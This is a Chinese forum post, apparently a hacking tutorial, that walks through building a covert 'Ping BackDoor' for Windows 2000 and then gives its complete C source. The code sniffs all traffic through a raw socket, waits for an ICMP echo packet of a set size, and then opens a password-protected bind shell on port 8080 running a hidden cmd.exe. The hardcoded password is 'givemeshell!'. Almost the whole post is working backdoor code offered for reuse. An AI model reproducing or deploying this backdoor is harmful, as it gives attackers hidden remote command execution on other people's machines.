返回列表 发帖

Win2000 下Ping 后门的简单实现

Win2000 下Ping 后门的简单实现 试验环境 Win2K + VC++6.0 1. 初期的想法   在使用了小榕的Remotenc后,总觉得老是开放着一个端口不是很好,很容易被发现。能不能在Win2000下实现 象Ping BackDoor for Linux/Solaris等类似的功能呢?把这个后门安装成服务,但不开端口,当接收到特定 大小的ping 包以后,就打开一个特定的端口接收连接。OK,我来试试:) 2. 尝试   记得以前玩lion worm时改写过一个Ping BackDoor for Linux,所以开始时我就想能不能把这个移植到Win2000 下。于是就简单的改了一下,开了个连接,接受ICMP包(ICMP全称是Internet Control Message Protocol--互联网控 制报文协议 它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文。我们常用的Ping就是用ICMP 来进行通讯的),以为Windows能象linux下一样乖乖的把收到的ICMP包交给自己的 socket,结果ping了老半天没收到 一个bit。   于是就开始在google上查找资料,最后终于知道了如果要在Win2000下实现类似Ping BackDoor for Linux的后门, 必须以 sniffer 的方式监听ICMP包,而在win2000下写一个简单的sniffer并不需要自己编写驱动。:)中文详细资料 请看绿盟zhangbo的 无需驱动程序的Sniffer-IPMon 一文, WinSock 2 允许程序使用WSAIoctl( )给一个SOCK_RAW类型 的socket设置SIO_RCVALL属性,该socket就可以收到所有经过本机的数据。 3.具体实现方法如下:   (1) 创建一个SOCK_RAW socket   // 创建一个原始socket, 接受所有接收的包(sniffer)   if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)   {     printf("WSASocket() failed: %d\n", WSAGetLastError());     return -1;   }   (2) 将该socket与本机的某个网络接口绑定   // 取得本地地址   gethostname((char*)LocalName, sizeof(LocalName)-1);   if((hp = gethostbyname((char*)LocalName)) == NULL)   {     return -1;   }   memset(&dest,0,sizeof(dest));   memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);  // TCP嗅探选项   dest.sin_family = AF_INET;   dest.sin_port = htons(8000);            // 指定任意端口   // socket bind   bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));   (3) 用WSAIoctl( )给一个SOCK_RAW socket设置SIO_RCVALL属性   // 设置socket为接受所有包   WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,          sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );   (4) 循环读取嗅探到的包,判断包的大小是否为设定要监听的包的大小再把数据交给 sniffer 解包程序处理 (当然你也可以先判断是否为ICMP包)   // 循环监听包的大小   while(1)   {     // 读数据     sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);     // 如果读数据出错     if (sread == SOCKET_ERROR || sread < 0)     {       if (WSAGetLastError() == WSAETIMEDOUT)         continue;       printf("recvfrom failed: %d\n",WSAGetLastError());       return -1;     }     else     // 如果读到数据的大小 == 监听包的大小 + 28     if ( sread == packsize + 28)     {       // 将接收到的数据交给 sniffer 解包程序处理       decode_sniffer(recvbuf, sread - 28, &from);     }   }   (5) sniffer 解包程序再判断读取的包是否为 ICMP_ECHO ICMP回显请求报文   sniffer解包这里的处理很简单,大家可以任意发挥.:) 1.首先定义IP和ICMP首部,以便于解包程序解包   // 定义IP 首部   typedef struct iphdr   {     unsigned char h_verlen;      // 4位首部长度,4位IP版本号     unsigned char tos;      // 8位服务类型TOS     unsigned short total_len;    // 16位总长度(字节)     unsigned short ident;      // 16位标识     unsigned short frag_and_flags;    // 3位标志位     unsigned char ttl;      // 8位生存时间 TTL     unsigned char proto;      // 8位协议(TCP, UDP 或其他)     unsigned short checksum;    // 16位IP首部校验和     unsigned int sourceIP;      // 32位源IP地址     unsigned int destIP;      // 32位目的IP地址   } IPHeader;          // IP首部长度为20   // 定义ICMP首部   typedef struct _ihdr   {     unsigned char i_type;      // 8位类型     unsigned char i_code;      // 8位代码     unsigned short i_cksum;      // 16位校验和     unsigned short i_id;      // 识别号(一般用进程号作为识别号)     unsigned short i_seq;      // 报文序列号   } ICMPHeader;          // ICMP首部长度为8 2. 简单sniffer解包程序,如果收到的包为ICMP_ECHO 类型,且大小为监听的包的大小,就开一个bindshell   // 简单Sniffer 解包程序   void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)   {     ICMPHeader *icmphdr;     // ICMP首部的地址等于buf+IP首部长度:buf+20     icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));     // 简单判断如果为icmp 请求包     if (icmphdr->i_type == ICMP_ECHO)     {       // bind shell       bindshell(NULL);     }     else     printf("\r\n Get Other Packets!");     return;   }   (6) bind shell的实现   1.在指定端口创建一个server socket接受连接   // 创建一个socket   bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);   // 服务器地址和端口指定   addrServer.sin_family = AF_INET;   addrServer.sin_port = htons(bport);   addrServer.sin_addr.s_addr = ADDR_ANY;   // 设置超时60s   int TimeOut = 60000;   setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));   // 监听端口   bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));   listen(bindServer, 2);   printf("\r\n Bind Port on %d ok.", bport);   // 接受client连接   int iLen = sizeof(addrClient);   2.如果有连接进来就为连接新建一个socket句柄 getClient   // 接收1次连接   SOCKET getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);   if(getClient != INVALID_SOCKET)   {     // 如果有连接进来设置延时为60S     int iTimeOut = 60000;     setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));   }   else return -1; 3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令,并把执行的结果返回给socket getClient    3.1 首先创建两个匿名管道,一个用于新进程的输入,一个用于新进程的输出   // 建两个匿名管道   HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;        SECURITY_ATTRIBUTES sa;   sa.nLength=12;   sa.lpSecurityDescriptor=0;   sa.bInheritHandle=TRUE;   CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // pipe1   CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // pipe2 3.2 创建一个绑定cmd.exe的进程, 由hReadPipe2读数据,向hWritePipe1写数据   // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据   char cmdLine[] = "cmd.exe";   STARTUPINFO siinfo;   PROCESS_INFORMATION ProcessInformation;   ZeroMemory(&siinfo,sizeof(siinfo));   siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;   siinfo.wShowWindow = SW_HIDE;   siinfo.hStdInput = hReadPipe2;            // 新进程读取写入pipe2的数据   siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;  // 新进程向pipe1写数据 CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation); 3.3 循环读取hReadPipe1和连接是否有数据     把新进程的输出(hWritePipe1)数据写入新连接中,     把从socket getClient收到的数据写入进进程的输入管道(Pipe2)   unsigned long lBytesRead;   while(1)   {     // 检查管道pipe1是否有数据返回     ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);     if(lBytesRead)     {       // 从管道pipe1读数据       ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);       if(!ret) break;              // 把从管道pipe1读到的数据写入连接 getClient       ret = send(getClient,Buff,lBytesRead,0);       if(ret <= 0) break;     }     else     {       // 如果连接 getClient 有接收到数据       lBytesRead = recv(getClient,Buff,1024,0);       if(lBytesRead <= 0) break;          // 把从连接 getClient 读到的数据写入Pipe2       ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);       if(!ret) break;     }   } (7) 程序完工 4. 附简单的 Ping BackDoor for Win2K 源代码 大家可以任意修改:) ICMP Shell for Win2K 正在编写中,请稍侯. /* ====================================================================== Ping BackDoor V0.1 For Win2K Code by Lion. Welcome to Http://www.cnhonker.net ========================================================================= */ #include #include #include //#include #include #define ICMP_ECHO 8          // ICMP回显请求报文的类型值为8 #define ICMP_ECHOREPLY 0      // ICMP回显应答报文的类型值为0 #define SNIFFER_ICMP_SIZE 101    // 监听ICMP包的大小 #define BIND_PORT 8080        // 默认bind shell 端口 #define MAX_PACKET 10000      // 最大ICMP包的大小 #define DEF_PASSWORD "givemeshell!" // 默认密码 #define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s)) // 定义IP 首部 typedef struct iphdr {   unsigned char h_verlen;      // 4位首部长度,4位IP版本号   1   unsigned char tos;        // 8位服务类型TOS        1   unsigned short total_len;    // 16位总长度(字节)       2    unsigned short ident;      // 16位标识           2   unsigned short frag_and_flags;  // 3位标志位          2   unsigned char ttl;        // 8位生存时间 TTL       1   unsigned char proto;      // 8位协议(TCP, UDP 或其他)    1   unsigned short checksum;    // 16位IP首部校验和        2   unsigned int sourceIP;      // 32位源IP地址         4   unsigned int destIP;      // 32位目的IP地址         4 } IPHeader;              // IP首部长度为:        20 // 定义ICMP首部 typedef struct _ihdr {   unsigned char i_type;      // 8位类型             1   unsigned char i_code;      // 8位代码             1   unsigned short i_cksum;      // 16位校验和          2   unsigned short i_id;      // 识别号(一般用进程号作为识别号)  2   unsigned short i_seq;      // 报文序列号           2 } ICMPHeader;            // ICMP首部长度为:         8 int sniffer();                      // 监听ICMP 大小 void decode_sniffer(char *, int, struct sockaddr_in *); // 简单Sniffer 解包程序 DWORD CALLBACK bindshell(LPVOID);            // bind shell DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; HANDLE bindthread; // ICMPDoor 主函数 int main(int argc, char **argv) {   WSADATA wsaData;   int retval;      // socket 初始化   if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)   {     printf("WSAStartup failed: %d\n",retval);     exit(-1);   }   // sniffer 开始   sniffer();   // socket 结束   WSACleanup();   return 0; } // sniffer 主函数 int sniffer() {   int packsize = SNIFFER_ICMP_SIZE;   SOCKET socksniffer;   struct sockaddr_in dest,from;   struct hostent * hp;   int sread;   int fromlen = sizeof(from);   unsigned char LocalName[256];   char *recvbuf;     // 创建一个原始socket, 接受所有接收的包(sniffer)   if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)   {     printf("WSASocket() failed: %d\n", WSAGetLastError());     return -1;   }   // 取得本地地址   gethostname((char*)LocalName, sizeof(LocalName)-1);   if((hp = gethostbyname((char*)LocalName)) == NULL)   {     return -1;   }   memset(&dest,0,sizeof(dest));   memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);  // TCP嗅探选项   dest.sin_family = AF_INET;   dest.sin_port = htons(8000);                    // 指定任意端口   // socket bind   bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));   // 设置socket为接受所有包   WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );   // 分配socket接收缓冲区大小为MAX_PACKET   recvbuf = (char *)xmalloc(MAX_PACKET);   // 循环监听包的大小   while(1)   {     // 读数据     sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);     // 如果读数据出错     if (sread == SOCKET_ERROR || sread < 0)     {       if (WSAGetLastError() == WSAETIMEDOUT)       {         continue;       }       printf("recvfrom failed: %d\n",WSAGetLastError());       return -1;     }     else //    if ( sread >= 28)     // 如果读到数据的大小 == 监听包的大小 + 28     if ( sread == packsize + 28)     {       // 将接收到的数据交给 sniffer 解包程序处理       decode_sniffer(recvbuf, sread - 28, &from);     }   }   return 1; } // 简单Sniffer 解包程序 void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from) {   ICMPHeader *icmphdr;   // ICMP首部的地址等于buf+IP首部长度:buf+20   icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));   /*   printf("\r\n %d bytes from %s,", bytes, inet_ntoa(from->sin_addr));    // 取出接收数据   printf(" ICMP_Type: %d", icmphdr->i_type);          // 取出类型   printf(" ICMP_Seq: %d\r\n", icmphdr->i_seq);          // 取出序列号        //取出数据段 buf + 28 + i   for(int i = 0; i < bytes - 1; i++)   {     printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));     } */    //  if (icmphdr->i_type == ICMP_ECHO || icmphdr->i_type == ICMP_ECHOREPLY)   // 简单判断如果为icmp 请求包   if (icmphdr->i_type == ICMP_ECHO)   {     // bind shell     bindshell(NULL);      //    DWORD bid; //    bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);   }   else   printf("\r\n Get Other Packets!");   return; } // bind shell函数 DWORD CALLBACK bindshell(LPVOID) {   int bport = BIND_PORT;   SOCKET bindServer, getClient;   struct sockaddr_in addrServer, addrClient;   char Buff[4096];   char *messages = "\r\n======================== Ping BackDoor V0.1 ========================\r\n========= Code by Lion. Welcome to Http://www.cnhonker.net =========\r\n";   char *getpass = "\r\n Your PassWord:";   char *passok = "\r\n OK! Please Enter:";   char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n";   char *exitok = "\r\n Exit OK!\r\n";   int ret;   // 创建一个socket   bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);   // 服务器地址和端口指定   addrServer.sin_family = AF_INET;   addrServer.sin_port = htons(bport);   addrServer.sin_addr.s_addr = ADDR_ANY;   // 设置超时   int TimeOut = 60000;   setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));   // 设置重复利用端口   UINT bReUser = 1;   setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));   // 监听端口   bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));   listen(bindServer, 2);   printf("\r\n Bind Port on %d ok.", bport);   // 接受client连接   int iLen = sizeof(addrClient);   // 接收1次连接   getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);   if(getClient != INVALID_SOCKET)   {     // 如果有连接进来设置延时为60S     int iTimeOut = 60000;     setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));   }   else     return -1;   // 写欢迎信息   send(getClient, messages, strlen(messages), 0);   // 写密码验证信息   send(getClient, getpass, strlen(getpass), 0);   // 接收数据   recv(getClient,Buff,1024,0);   // 验证密码   if(!(strstr(Buff, DEF_PASSWORD)))   {     // 如果密码错误,写密码错误信息     send(getClient, nothispass, strlen(nothispass), 0);     printf("\r\n PassWord Not Right!");     closesocket(getClient);     closesocket(bindServer);     return -1;   }   // 写通过验证信息   send(getClient, passok, strlen(passok), 0);   // 建两个匿名管道   HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;   unsigned long lBytesRead;          SECURITY_ATTRIBUTES sa;   sa.nLength=12;   sa.lpSecurityDescriptor=0;   sa.bInheritHandle=TRUE;   CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);   CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);        STARTUPINFO siinfo;   char cmdLine[] = "cmd.exe";   PROCESS_INFORMATION ProcessInformation;   ZeroMemory(&siinfo,sizeof(siinfo));   siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;   siinfo.wShowWindow = SW_HIDE;   siinfo.hStdInput = hReadPipe2;            // 读取写入pipe2的数据   siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;  // 向这里写数据   printf("\r\n Pipe Create OK!");   // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据   int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);   while(1)   {     // 检查管道是否有数据返回     ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);     if(lBytesRead)     {       // 从管道hReadPipe1读数据       ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);       if(!ret) break;              // 把从管道hReadPipe1读到的数据写入连接 getClient       ret = send(getClient,Buff,lBytesRead,0);       if(ret <= 0) break;     }     else     {       // 如果连接 getClient 有接收到数据       lBytesRead = recv(getClient,Buff,1024,0);       if(lBytesRead <= 0) break;            // 把从连接 getClient 读到的数据写入hWritePipe2       ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);       if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')       {         // 写退出信息         send(getClient, exitok, strlen(exitok), 0);         closesocket(getClient);         closesocket(bindServer);         return 1;       }       if(!ret) break;     }   }   closesocket(getClient);   closesocket(bindServer);   return 1; }

返回列表 回复 发帖